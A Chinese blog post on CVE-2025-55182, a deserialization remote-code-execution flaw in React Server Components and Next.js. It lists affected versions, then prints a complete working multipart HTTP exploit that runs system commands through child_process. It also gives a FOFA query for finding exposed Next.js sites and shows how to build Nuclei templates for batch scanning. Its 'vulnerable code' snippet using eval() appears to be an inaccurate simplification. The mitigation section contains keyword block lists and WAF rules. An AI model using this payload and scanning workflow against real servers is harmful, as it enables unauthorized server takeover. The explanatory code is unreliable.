基于Yakit、Wavely实现CVE-2025-55182(React Server Components(RSC)) 反序列化漏洞挖掘和POC编写

文章目录


前言

本篇文章基于Nextjs漏洞进行复现并结合工具使用和POC编写,实现漏洞能在短时间内精准发现。


一、CVE-2025-55182漏洞简介

CVE-2025-55182(React Server Components(RSC)) 反序列化漏洞

该漏洞源于RSCFlight协议在处理客户端发往服务器端函数(Server Function)端点的序列化数据时,未能安全地进行反序列化[citation:5][citation:9] 远程未经身份验证的攻击者可以构造一个恶意的HTTP请求,在服务器上直接执行任意代码,从而安全控制服务器。

二、漏洞详情

• 漏洞名称: React Server Components远程代码执行漏洞'

• CVE编号: CVE-2025-55182 / CVE-2025-66478

• 影响软件: React Server Components / Next.js

• 漏洞类型: 任意代码执行、信息泄露

• 危害等级: 高危 (CVSS 9.8)

• 攻击向量: 远程、网络、无认证

三、技术原理解析

漏洞根源解析

CVE-2025-55182的核心问题在于react-server-dom-webpackServer Actions功能在处理客户端表单提交时存在严重的安全校验缺失。

技术实现缺陷

复制代码
// 漏洞代码位置:react-server-dom-webpack的处理逻辑
const serverAction = formData.get('__NEXT_SERVER_ACTION__');
// 缺少输入验证和代码转义
const result = eval(serverAction); // 直接执行任意JavaScript代码

攻击链构造

攻击者通过以下步骤实现漏洞利用:

  1. 表单数据污染: 构造包含恶意代码的multipart/form-data
  2. Server Actions触发: 利用Next.js的Server Actions机制
  3. Node.js模块调用: 直接调用Node.js内置模块
  4. 系统命令执行: 通过child_process执行任意命令
  5. 权限提升和文件操作: 完全控制服务器文件系统

漏洞触发机制

从提供的复现数据包可以看出,漏洞利用的核心在于构造特殊的JSON对象:

复制代码
{
  "then": "$1:__proto__:then",
  "status": "resolved_model", 
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "try { var res = process.mainModule.require('child_process').execSync('echo QAXNB12138').toString('base64'); } catch(e) { var res = 'ERROR'; } throw Object.assign(new Error('x'),{digest:res});",
    "_chunks": "$Q2",
    "_formData": {"get": "$1:constructor:constructor"}
  }
}

四、影响范围

  • React影响版本清单
matlab 复制代码
| 组件名称 | 受影响版本序列  | 风险等级 |
| React Core | 19.0.0, 19.0.1, 19.1.0, 19.2.0  | 🔴 高危 |
| react-server-dom-webpack | 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.2.0  | 🔴 高危 |
| react-server-dom-parcel | 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.2.0  | 🔴 高危 |
| react-server-dom-turbopack | 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.2.0  | 🔴 高危 |
  • Next.js影响版本矩阵

| 版本系列 | 影响版本范围 | 修复版本 | 风险等级 |

matlab 复制代码
| Next.js 15.x | 15.0.0 <= v < 15.0.5  | 15.0.5+ | 🔴 高危 |
| Next.js 15.x | 15.1.0 <= v < 15.1.9  | 15.1.9+ | 🔴 高危 |
| Next.js 15.x | 15.2.0 <= v < 15.2.6  | 15.2.6+ | 🔴 高危 |
| Next.js 15.x | 15.3.0 <= v < 15.3.6  | 15.3.6+ | 🔴 高危 |
| Next.js 15.x | 15.4.0 <= v < 15.4.8 | 15.4.8+ | 🔴 高危 |
| Next.js 15.x | 15.5.0 <= v < 15.5.7  | 15.5.7+ | 🔴 高危 |
| Next.js 16.x| 16.0.0 <= v < 16.0.7  | 16.0.7+ | 🔴 高危 |
| Next.js 14.x | >= 14.3.0-canary.77  | 多个版本 | 🔴 高危 |
  • 业务应用影响
matlab 复制代码
| 应用名称 | 受影响版本  | 影响程度 |
| Dify | 1.1.2 <= v < 1.10.1-fix.1  | 🔴 严重 |
| Vercel | 所有使用Server Actions的项目  | 🔴 广泛 |
| 自定义Next.js应用 | 使用App Router的项目  | 🔴 严重 |

五、漏洞验证(结合Yakit、Wavely)

CVE-2025-55182 无条件 RCE Payload

复制代码
POST /apps HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 578

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('whoami').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
    "_chunks": [],
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Yakit验证POC CVE-2025-55182漏洞可用

FOFA搜索引擎

app="Next.js" && body="/_next/static/chunks/app/" && country="CA"

在利用Yakit工具测试的同时,也会利用另一款工具叫Wavely,没错就是它喽⬇

Wavely这款工具就是针对于Nuclei工具进行的POC模板编写和管理的一款工具,可以通过图形界面进行POC编写,在编写的同时呢,在其右侧会以代码的形式去实现,方便我们去学习如何去编写POC(这个工具编写的payload后缀是以.yaml格式的)

还是先返回到Yakit工具上面,我们用yakit去复现漏洞,但是如何去利用它编写和生成一个可用于Nuclei扫描脚本呢,yakit工具里面有一个原生的规则叫做匹配器

这个匹配器的意思呢就是我们从响应包里面提取什么样的特征,当我们的扫描器扫描的时候它遇到什么样的特征才算是有漏洞呢

像我们如果进行命令执行的话,在匹配条件这里填写回显特征部分信息就可以了,进行保存

然后我们重新发送数据包,就会出现匹配成功的显示

既然匹配器这块都弄完了,也大致知道是怎么个事了,那接下来就整一整扫描脚本这一块吧

在工具的右上角有一个生成Yaml模板,点击 "生成Path模板"

可以生成两种格式的模板,我们一般用这两种哪一个都可以,区别就是内容格式不一样,Raw请求格式就是我们刚刚请求的是一样的

我们来验证模板是否为可用的,在左侧把我们请求包放在这里然后去发送,在上面的BUG里已经出现漏洞风险提示了

这里我们验证完后可以保存这个模板,后续可使用Nuclei -t参数指定这个模板去批量检测漏洞

这时候模板呢可能会有一些问题检测不了,需要我们进行一些调整,这个时候呢就要用到我们的神器了Wavely了,我们把yakit源码复制到Wavely里面进行后期的调试

这个工具可以在调试代码的同时也可以进行抓包重放,然后查看具体的内容

既然我们可以通过修改代码进行脚本验证是否可用,那我们是不是也可以采用图形化界面方式,进行脚本编写验证呢


所有信息填写完之后,点击调试模板就可以验证模板是否可用了。

把这个脚本拿出来用Nuclei工具并引用这个脚本去跑批量

Wavely这款工具可以用来学习和解读别人是怎么写的poc,逻辑和架构能更好的帮助我们进行漏洞POC的编写和验证。

六、防护与缓解措施

  • 立即响应方案

    复制代码
      1、升级修复版本
      
      # React项目升级
      npm install react@^19.2.1
      npm install react-server-dom-webpack@^19.2.1
      
      # Next.js项目升级
      npm install next@^15.5.7  # 或更高的修复版本
    
      2. 临时缓解措施
    
      // 在Next.js middleware中添加安全检查
      export async function middleware(request) {
        const formData = await request.formData();
        const serverAction = formData.get('__NEXT_SERVER_ACTION__');
      
        // 检查是否包含恶意特征
        if (serverAction && typeof serverAction === 'string') {
          const maliciousPatterns = [
            'require(',
            'child_process',
            'exec',
            'eval',
            'Function('
          ];
        
          if (maliciousPatterns.some(pattern => serverAction.includes(pattern))) {
            return new Response('Security violation detected', { status: 403 });
          }
        }
      
        return NextResponse.next();
      }
  • 长期防御策略

    复制代码
      1. 代码审查强化
      
      // 实现安全的Server Actions处理
      const secureServerAction = async (formData) => {
        // 输入净化
        const sanitizedInput = sanitize(formData.get('action'));
      
        // 白名单验证
        const allowedActions = [
          'createUser',
          'updateProfile',
          'deleteFile'
        ];
      
        if (!allowedActions.includes(sanitizedInput)) {
          throw new Error('Unauthorized action');
        }
      
        // 执行安全检查后的操作
        return await executeSafeAction(sanitizedInput);
      };
      
      2. Web应用防火墙规则
      
      # 基于Nginx的WAF规则
      location / {
        if ($request_method = POST) {
          # 检测Next-Action头部
          if ($http_next_action != "") {
            return 403;
          }
        
          # 检测恶意载荷
          if ($request_body ~* "(require\(|child_process|exec\(|eval\()") {
            return 403;
          }
        }
      }
      
      3. 运行时监控
      
      // 添加执行时间监控
      const wrapServerAction = (action) => {
        return async (formData) => {
          const startTime = Date.now();
        
          try {
            const result = await action(formData);
            const duration = Date.now() - startTime;
          
            // 监控异常执行时间
            if (duration > 5000) {
              console.warn('Suspicious slow action detected');
            }
          
            return result;
          } catch (error) {
            console.error('Server action failed:', error);
            throw error;
          }
        };
      };
相关推荐
Orange_sparkle2 小时前
dify的web页面如何传入user用户信息进行对话,而不是uuid
前端·人工智能
Amumu121382 小时前
Vue Router 和 常用组件库
前端·javascript·vue.js
霍理迪2 小时前
CSS移动端开发及less使用方法
前端·css
2601_949857432 小时前
Flutter for OpenHarmony Web开发助手App实战:HTML参考
前端·flutter·html
爱内卷的学霸一枚2 小时前
现代前端工程化实践:从Vue到React的架构演进与性能优化(7000字深度解析)
前端·vue.js·react.js
南风知我意9572 小时前
【前端面试4】框架以及TS
前端·面试·职场和发展
鹏北海-RemHusband2 小时前
踩坑记录:iOS Safari 软键盘下的“幽灵弹窗“问题
前端·ios·safari
一位搞嵌入式的 genius2 小时前
深入理解浏览器中的 JavaScript:BOM、DOM、网络与性能优化
前端·javascript·网络·性能优化
lang201509282 小时前
一键生成Java Web项目:Tomcat-Maven原型解析
java·前端·tomcat